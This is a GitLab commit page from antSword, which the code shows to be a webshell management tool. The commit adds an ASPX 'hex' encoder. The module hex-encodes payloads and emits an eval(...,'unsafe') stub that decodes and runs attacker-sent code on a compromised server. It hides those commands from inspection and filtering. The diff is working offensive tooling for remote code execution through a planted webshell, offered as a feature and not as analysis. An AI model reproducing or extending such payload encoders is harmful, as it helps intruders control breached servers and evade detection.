Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
d5c47b10
Commit
d5c47b10
authored
Apr 29, 2016
by
Antoor
Browse files
Options
Browse Files
Download
Plain Diff
Merge pull request #47 from Medicean/master
new(aspx):add aspx hex encoder
parents
3d930500
5fafc3ea
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
18 additions
and
1 deletion
+18
-1
hex.jsx
source/core/aspx/encoder/hex.jsx
+17
-0
index.jsx
source/core/aspx/index.jsx
+1
-1
No files found.
source/core/aspx/encoder/hex.jsx
0 → 100644
View file @
d5c47b10
//
// aspx::hex 编码模块
//
// 把除了密码的其他参数都 hex 编码一次
//
'use strict'
;
module
.
exports
=
(
pwd
,
data
)
=>
{
let
randomID
=
`_0x
${
Math
.
random
().
toString
(
16
).
substr
(
2
)}
`
;
let
hexencoder
=
"function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new System.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));}return sb.ToString();};"
;
data
[
randomID
]
=
new
Buffer
(
data
[
'_'
]).
toString
(
'hex'
);
data
[
pwd
]
=
`
${
hexencoder
}
;eval(HexAsciiConvert(Request.Item["
${
randomID
}
"]),"unsafe");`
;
delete
data
[
'_'
];
return
data
;
}
\ No newline at end of file
source/core/aspx/index.jsx
View file @
d5c47b10
...
...
@@ -36,7 +36,7 @@ class ASPX extends Base {
* @return {array} 编码器列表
*/
get
encoders
()
{
return
[
'base64'
];
return
[
'base64'
,
'hex'
];
}
/**
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment